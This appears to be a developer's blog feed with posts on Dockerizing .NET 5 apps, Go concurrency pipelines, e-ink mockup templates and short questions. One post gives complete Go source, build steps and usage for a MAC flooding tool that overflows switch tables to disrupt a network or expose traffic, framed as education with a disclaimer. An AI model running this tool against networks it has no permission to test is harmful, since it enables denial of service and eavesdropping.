Another requirement for using self-contained as publishing type is, to make sure that the correct RuntimeIdentifier in your .csproj file is set.

<Project Sdk="Microsoft.NET.Sdk.Web">

    <PropertyGroup>
        <TargetFramework>net5.0</TargetFramework>
        <RuntimeIdentifiers>linux-musl-x64</RuntimeIdentifiers>
        <OutputType>Exe</OutputType>
    </PropertyGroup>

</Project>

For the Alpine distribution as base image, the linux-musl-x64 has to be added. You may enable multiple RuntimeIdentifers (seperated by ";") in order to make it executable also on other platforms as self-contained build (for example win-x64).

Now the finally built binary has fewer dependencies than the base image we used before provides. Microsoft has also for this an answer: the base-image mcr.microsoft.com/dotnet/runtime-deps:5.0-alpine-amd64 includes everything just to run self-contained apps.

It is now possible to switch to a multi-staged Docker build:

# Build stage
FROM mcr.microsoft.com/dotnet/sdk:5.0-alpine AS build
WORKDIR /source

# Copy csproj and restore as distinct layers
COPY . .
RUN dotnet restore -r linux-musl-x64

RUN dotnet test --no-restore

# build swagger.json from controller/endpoint definitions
RUN dotnet tool restore \
        dotnet swagger tofile --output swagger.json StartupProject/bin/Debug/net5.0/StartupProject.dll v1

# publish project (StartupProject is the startup project)
RUN dotnet publish -c Release -o /appReleased -r linux-musl-x64 \
    --no-restore StartupProject/*.csproj

# Create final image
FROM mcr.microsoft.com/dotnet/runtime-deps:5.0-alpine-amd64
COPY --from=build /appReleased /app

ENTRYPOINT ["/app/StartupProject"]

Security

From the security point of view, it's important to run your
API in the context of a user with minimal operating system permissions. The default if not specified would be the root user, but there are multiple drawdowns when using the superuser with Docker.

However a detailed explanation would go beyond the scope of this article.

You can follow along here for details: https://sysdig.com/blog/dockerfile-best-practices/

Running apps under another user is as easy as applying the following statements to your Dockerfile:

# (truncated)
# Add user, group, and change ownership
RUN adduser --disabled-password --gecos "" --home /app --no-create-home --uid 10001 appuser \
    # make sure to allow your user to access your application binary
    && chown -R appuser:appuser /app

USER appuser
# (truncated)

Overriding defaults

In case you wondered where the default listening port is configured:
I am going to demistify it now.

The base image we are using here in the final layer has some default configuration
and the listening URL and port is included there.

You can view the base Dockerfile here

The specific section I am talking about is this one:

# ...
ENV \
    # Configure web servers to bind to port 80 when present
    ASPNETCORE_URLS=http://+:80 
# ...

I'd like to change them for my application, because I don't like port 80 to be exposed. I am going with the port 5000, same as the default inside the development environment.

# Set listening host and port
ENV ASPNETCORE_URLS=http://+:5000
EXPOSE 5000

Summary

When assembling all the different parts I stated above, you will end up with this final and complete Dockerfile:

# Build stage
FROM mcr.microsoft.com/dotnet/sdk:5.0-alpine AS build
WORKDIR /source

# Copy csproj and restore as distinct layers
COPY . .
RUN dotnet restore -r linux-musl-x64

RUN dotnet test --no-restore

# build swagger.json from controller/endpoint definitions
RUN dotnet tool restore \
        dotnet swagger tofile --output swagger.json StartupProject/bin/Debug/net5.0/StartupProject.dll v1

# release project (StartupProject is the startup project)
RUN dotnet publish -c Release -o /appReleased -r linux-musl-x64 --self-contained true \
    --no-restore /p:PublishTrimmed=true /p:PublishReadyToRun=true StartupProject/*.csproj

# Create final image
FROM mcr.microsoft.com/dotnet/runtime-deps:5.0-alpine-amd64
COPY --from=build /appReleased /app

# Add user, group, and change ownership
RUN adduser --disabled-password --gecos "" --home /app --no-create-home --uid 10001 appuser \
    # make sure to allow your user to access your application binary
    && chown -R appuser:appuser /app

USER appuser

# Set listening host and port
ENV ASPNETCORE_URLS=http://+:5000
EXPOSE 5000

ENTRYPOINT ["/app/StartupProject"]

For me, it includes every aspect I care about and also has a minimal size with maximum security.

What Namespace to choose for Open-Sourced .NET Frameworks?

David Kröll — Mon, 15 Mar 2021 09:18:13 +0000

Is there a preferred way of naming opensource libraries and frameworks in the .NET field? I've seen many different kind of things, but is there one to rule them all?

Which one (if any) is the preffered way?

GitHubUsername.Project GitHub username and project name
Project just the project name
Project.Component1 when managing many different libraries in one repository

So, what are the best practices?

Custom Phone Mockups for Onyx Boox Note Air

David Kröll — Sat, 09 Jan 2021 22:01:18 +0000

When I'm doing mockup prototyping for user interfaces, I still prefer painting by hand rather than using mockup tools.
I feel confident with draw.io, but not for the first prototyping session.
There you just have to be creative. And creativity does not come from a UI design tool.

Since I just got a new Onyx Note Boox Air, I've created new templates for mobile device mockups.
There are three version inside the package, two iPhone and an Android mockup.

Installation

Just download them and put them onto your device in the noteTemplate directory.

Download

The templates are available from my GitHub repository:
Download the templates

There is also a GIMP source file here.

How to calculate correlation of financial assets?

David Kröll — Fri, 08 Jan 2021 10:20:01 +0000

Is there a (online) tool to calculate the correlation for financial assets? I've found some specific for stocks and for cryptos - but none which covers it all. At least from the free online tools available.

Do you have any suggestions?
Should I create one?

Exploiting network devices at the data link layer with Go

David Kröll — Mon, 14 Dec 2020 21:54:51 +0000

Back in 2018 when I attended the networking security class at highschool, our prof introduced us to attacking network devices at the OSI data link layer (Ethernet, most of the time). I was in fact curious how to file such an attack myself. Indeed, there were enough tools already out there - but only script kiddies use existing tools. So I decided to write my own tool to bring down a switched network.

The attack I am talking about is named MAC flooding.

In computer networking, a media access control attack or MAC flooding is a technique employed to compromise the security of network switches. The attack works by forcing legitimate MAC table contents out of the switch and forcing a unicast flooding behavior potentially sending sensitive information to portions of the network where it is not normally intended to go.

View on Wikipedia>

It's some kind of denial of service attack. Usually a switch remembers which client (MAC address) is connected to which port. But when there are more clients than the switch can remember, the layer 2 frames are send on every port and you may sniff the whole traffic - or the whole network breaks due to exponentially increasing traffic.

So the only thing to do is to flood the network with frames originating from different MAC addresses. Since the switches CAM tables are finite, at some point in time the switch cannot remember the different source addresses and therefore is out of service.

The switches should be able to recover from the attack automatically using the MAC table aging method

In addition, modern switches may be configured using so-called port security, so it is of course possible to eliminate such an attack at it's root cause.

Defining goals and requirements

So our network looks like the diagram above. We would like to make the switch believe that there are more computers connected to it than he can remember. To do so we have to operate directly on the data link layer of the OSI reference model. Since any "normal" request will be built up correctly by the help of our operating system - there is always just a single MAC available per network interface. However this does not mean that we cannot emulate different MAC addresses using the same network interface.

For the Go programming language Matt Layher has created awesome libraries to operate on the data link layer directly, they are called ethernet and raw.

He has already written about it in his blog - make sure to check it out: Network Protocol Breakdown: Ethernet and Go

mdlayher / ethernet

Package ethernet implements marshaling and unmarshaling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags. MIT Licensed.

ethernet

Package ethernet implements marshaling and unmarshaling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags. MIT Licensed.

For more information about using Ethernet frames in Go, check out my blog post: Network Protocol Breakdown: Ethernet and Go.

View on GitHub

Our tool should be of course the fastest on the planet. And therefore we utilize the Go concurrency patterns.

The quintessence of writing ethernet frames to a network connection is implemented in the below code section. This method loops over a channel of ethernet.Frame struct and writes them onto the network interface using a default destination address.

The function also sends the number of bytes written to the network interface to another channel.

// frameWriter sends ethernet frames over the network
func frameWriter(c net.PacketConn, ch <-chan *ethernet.Frame, stats chan<- int, doneCall func()) {
    for f := range ch {
        // get frame and marshall it to binary
        b, err := f.MarshalBinary()
        if err != nil {
            fmt.Printf("failed to marshal ethernet frame: %v", err)
        }

        // only necessary for WriteTo() method, does not change the frame
        addr := &raw.Addr{
            HardwareAddr: ethernet.Broadcast,
        }

        // write frame
        n, err := c.WriteTo(b, addr)
        if err != nil {
            fmt.Printf("Cannot write to connection: %v", err)
        }

        // send to channel
        stats <- n
    }
    doneCall()
}

First of all we'd like to control how our tool should operate. I've therefore implemented the below command line parameters:

Network interface to send
Number of Goroutines for writing
Amount of frames to send

And since this tool will only work on Unix-based machines, the top line (called build constraint or tag) specifies the target platforms.

//+build linux darwin

package main

import (
    "flag"
    "fmt"
    "github.com/mdlayher/ethernet"
    "github.com/mdlayher/raw"
    "net"
    "os/user"
    "sync"
    "time"
)

var num = flag.Int("n", 1, "Amount of frames send")
var ifaceName = flag.String("i", "", "Interface to send")
var numThreads = flag.Int("t", 12, "Number of threads to use")
var seed = flag.Int("s", 0, "Seed for source MAC address")
var versionFlag = flag.Bool("v", false, "Print version")

const etherType = 0xbeef
const version = "flood v0.2.0"

// prerequisitesSatisfied checks if all requirements are met
func prerequisitesSatisfied() bool {
    if *versionFlag {
        fmt.Println(version)
        return false
    }

    u, _ := user.Current()
    if u.Uid != "0" {
        fmt.Println("This program requires root (UID 0) access")
        return false
    }

    // require iface index flag
    if *ifaceName == "" {
        flag.Usage()
        return false
    }

    if *seed < 0 || *seed > 255 {
        fmt.Printf("Seed (%d) must be between 0 and 255\n", *seed)
        return false
    }
    return true
}

func main() {
    flag.Parse()
    if !prerequisitesSatisfied() {
        return
    }

    iface, err := net.InterfaceByName(*ifaceName)
    if err != nil {
        fmt.Println("No such network interface")
        return
    }

    conn, err := raw.ListenPacket(iface, etherType, nil)
    if err != nil {
        fmt.Printf("cannot open connection: %v", err)
        return
    }

    var wg sync.WaitGroup

    // init channels
    ch := make(chan *ethernet.Frame)
    stats := make(chan int)

    // create sender goroutines
    for i := 0; i < *numThreads; i++ {
        wg.Add(1)
        // pass in Done() method from waitgroup
        go frameWriter(conn, ch, stats, wg.Done)
    }

    // init stat vars
    framesSend := 0
    bytesWritten := 0
    startTime := time.Now()

    // stat collecting goroutine
    go func() {
        // no need for waitgroup here,
        // goroutine gets automatically killed when any sender goroutine exits
        for bytes := range stats {
            bytesWritten += bytes
            framesSend++
        }
    }()

    for i := 1; i <= *num; i++ {
        f := &ethernet.Frame{
            Destination: ethernet.Broadcast,
            // every frame should have a different MAC address
            // and emulates therefore a different computer
            Source: net.HardwareAddr{
                byte(*seed),
                0x00,
                // hacky method for power to 2 numbers
                byte(i / (24 << 1)), uint8(i / (16 << 1)), uint8(i / (8 << 1)), uint8(i),
            },
            EtherType: etherType,
        }
        ch <- f
    }

    // close channel
    close(ch)
    wg.Wait() // wait for goroutines quit

    fmt.Println("Execution summary:")
    fmt.Printf("%d frames send\n", framesSend)
    fmt.Printf("%d bytes written\n", bytesWritten)
    fmt.Printf("Took a total time of %v\n", time.Since(startTime))
}

At the beginning of our main function we set up and check all the prerequisites. Afterwards the channels for communicating are initialized and the frameWriter Goroutines are dispatched. This applies also for the stats collecting goroutine.

Afterwards the frames are created in our main goroutine and send over to the frameWriter goroutines to write them to the network interface.

Results

To check the results, I am using Wireshark to sniff the local network traffic. The frames should have different source MAC addresses.

The usage is printed below.

$ ./flood -h
Usage of ./flood:
  -i string
        Interface to send
  -n int
        Amount of frames send (default 1)
  -s int
        Seed for source MAC address
  -t int
        Number of threads to use (default 12)
  -v    Print version

First we have to evaluate on which network interface we'd like to send the frames to. Afterwards we have to get root privileges to execute this program.

# ./flood -i ens33 -n 100
100 frames send
6000 bytes written
Took a total time of 5.070503ms

In Wireshark you should then see something like this when applying the filter to the ethernet type 0xbeef - this is the default type for the flood tool.

Source MAC address is different for every packet and not ordered (since multiple goroutines are used)
Destination MAC stays always to Broadcast
Data inside the frame is not of length zero. Why? Because of the minimum length of an Ethernet frame (60 bytes)

The full code is available here (also pre-built binaries are available. But make sure to only use this software for educational purpose. Use only if you are allowed to!

davidkroell / flood

MAC flooding attack tool in Go

flood

Is a OSI layer 2 attack to take down a switch by filling the MAC-Address table.

Requirements

This software only runs on linux operating systems and requires minimum version of go1.12.

Build

With an properly configured Go toolchain execute the following.

# on linux only
go get github.com/davidkroell/flood
cd $GOPATH/src/github.com/davidkroell/flood

go build -o flood main.go

Usage

Usage of flood:
  -i string
        Interface to send
  -n int
        Amount of frames send (default 1)
  -s int
        Seed for source MAC address
  -t int
        Number of threads to use (default 12)
  -v    Print version

Disclaimer

This software is provided for educational use only. The authors are not responsible for any misuse of the software. Performing an attack without permission from the owner of the network is illegal. Use at your own risk.

View on GitHub

Thanks for reading, and as always feel free to submit feedback for improvements.

Links

OSI model
CAM tables
Data link layer
Wireshark
Title image

Go concurrency and sychronization - Part 3: Data pipelines

David Kröll — Sat, 12 Dec 2020 19:50:45 +0000

As already pointed out in the last part, I am going to refactor the notifiers and synchronization already created. Here is again the current state painted in a simple graphic (the same as in the first part):

We have two goroutines which notify each other when they are done. In the last part I achieved a pretty good state where I noticed afterwards that there is the same code twice in my program. So it is again time to refactor it.

package main

import (
    "bufio"
    "fmt"
    "os"
    "sync"
    "time"
)

func main() {
    printOdd := make(chan struct{})
    printEven := make(chan struct{})

    wg := &sync.WaitGroup{}

    go func() {
        wg.Add(1)

        // move the Done() call into a deferred function
        // and now we are able to recover from a possible panic, as above
        defer func() {
            wg.Done()
            if err := recover(); err != nil {
                fmt.Println("send on closed channel occured, but recoverd")
            }
        }()

        start := 0

        for range printEven {
            fmt.Println(start)
            start = start + 2
            time.Sleep(time.Second)
            printOdd <- struct{}{}
        }
    }()

    go func() {
        wg.Add(1)

        // same as above
        defer func() {
            wg.Done()
            if err := recover(); err != nil {
                fmt.Println("send on closed channel occured, but recoverd")
            }
        }()

        start := 1

        for range printOdd {
            fmt.Println(start)
            start = start + 2
            time.Sleep(time.Second)
            printEven <- struct{}{}
        }
    }()

    reader := bufio.NewReader(os.Stdin)
    fmt.Println("Press enter to cancel")
    fmt.Println("---------------------")
    // trigger the ping-pong
    printEven <- struct{}{}

    reader.ReadString('\n')
    fmt.Println("finished")

    close(printEven)
    close(printOdd)
    wg.Wait()
}

So the above code is going to be refactored. The two goroutines dispatched in the main function are going to be moved out.

// the two anonymous funcs are now the same
// chIn may only receive and chOut may only send
func concurrenCounter(start int, chIn <-chan struct{}, chOut chan<- struct{}, wg *sync.WaitGroup) {
    wg.Add(1)

    defer func() {
        wg.Done()
        if err := recover(); err != nil {
            fmt.Println("send on closed channel occured, but recoverd")
        }
    }()

    for range chIn {
        fmt.Println(start)
        start = start + 2
        time.Sleep(time.Second)
        chOut <- struct{}{}
    }
}

func main() {
    printOdd := make(chan struct{})
    printEven := make(chan struct{})

    wg := &sync.WaitGroup{}

    // call it with correctly arranged input and output channels
    go concurrenCounter(0, printEven, printOdd, wg)
    go concurrenCounter(1, printOdd, printEven, wg)

    reader := bufio.NewReader(os.Stdin)
    fmt.Println("Press enter to cancel")
    fmt.Println("---------------------")
    // trigger the ping-pong
    printEven <- struct{}{}

    reader.ReadString('\n')
    fmt.Println("finished")

    close(printEven)
    close(printOdd)
    wg.Wait()
}

I also utilized the special channel types, which only allow either receiving from it or sending to it.
It is called the channel direction. This will increase the programs safety, since a send or receive to the wrong channel is no longer possible

I again used the sync.WaitGroup and passed it into the function.

Data pipelines

Currently, every goroutine prints the computed numbers to the command line. I'd like to split this up into an additional step.
My desired software architecture should look like a modern factory. After a step has finished, the data should be passed to the next step. Think of an conveyor belt (the channel) where data is passed onto the next worker (the goroutine).
The computed numbers should flow between the individual goroutines.

So the single steps in our modern factory are the goroutines and the conveyor belts are the channels. They are all dispatched from the main goroutine. The data flows from the left side in the graphic to the right side.

The goroutines A and B are doing the same computation, but not printing it to the console. They will just send it over to goroutine C and are therefore no longer responsible for the data.

The goroutine C will print the numbers unified to the console.

// also created a custom type wich is just an empty struct with another name
type token struct{}

// Goroutines A and B
func concurrenCounter(start int, ping <-chan token, pong chan<- token, outCh chan<- int, wg *sync.WaitGroup) {
    wg.Add(1)

    defer func() {
        wg.Done()
        if err := recover(); err != nil {
            fmt.Println("send on closed channel occured, but recoverd")
        }
    }()

    for range ping {
        outCh <- start
        start = start + 2
        time.Sleep(time.Second)
        pong <- token{}
    }
}

// Goroutine C
func collectAndPrint(inCh <-chan int, wg *sync.WaitGroup) {
    wg.Add(1)

    // we do not need to recover from panic here
    defer wg.Done()

    for i := range inCh {
        fmt.Printf("%d\n", i)
    }
}

func main() {
    calculateOdd := make(chan token)
    calculateEven := make(chan token)

    collector := make(chan int)

    wg := &sync.WaitGroup{}

    // call it with correctly arranged input and output channels
    go concurrenCounter(0, calculateEven, calculateOdd, collector, wg)
    go concurrenCounter(1, calculateOdd, calculateEven, collector, wg)

    // spin up collecting goroutine
    go collectAndPrint(collector, wg)

    reader := bufio.NewReader(os.Stdin)
    fmt.Println("Press enter to cancel")
    fmt.Println("---------------------")
    // trigger the ping-pong
    calculateEven <- token{}

    reader.ReadString('\n')
    fmt.Println("finished")

    close(calculateEven)
    close(calculateOdd)
    close(collector)

    wg.Wait()
}

I also created a custom type for the ping-pong the two goroutines A and B do - it's just for readability. It now ended in a totally overengineered counter example but I hope you got the point. Creating data pipelines in Go is very easy and I totally love it. It feels just right to utilize the language features the creators of Go gave us. The concurrency system is really awesome and simple to use.

I hope you enjoyed my series and learned something about concurrency and synchronization in Go. As always, feel free to discuss about improvements.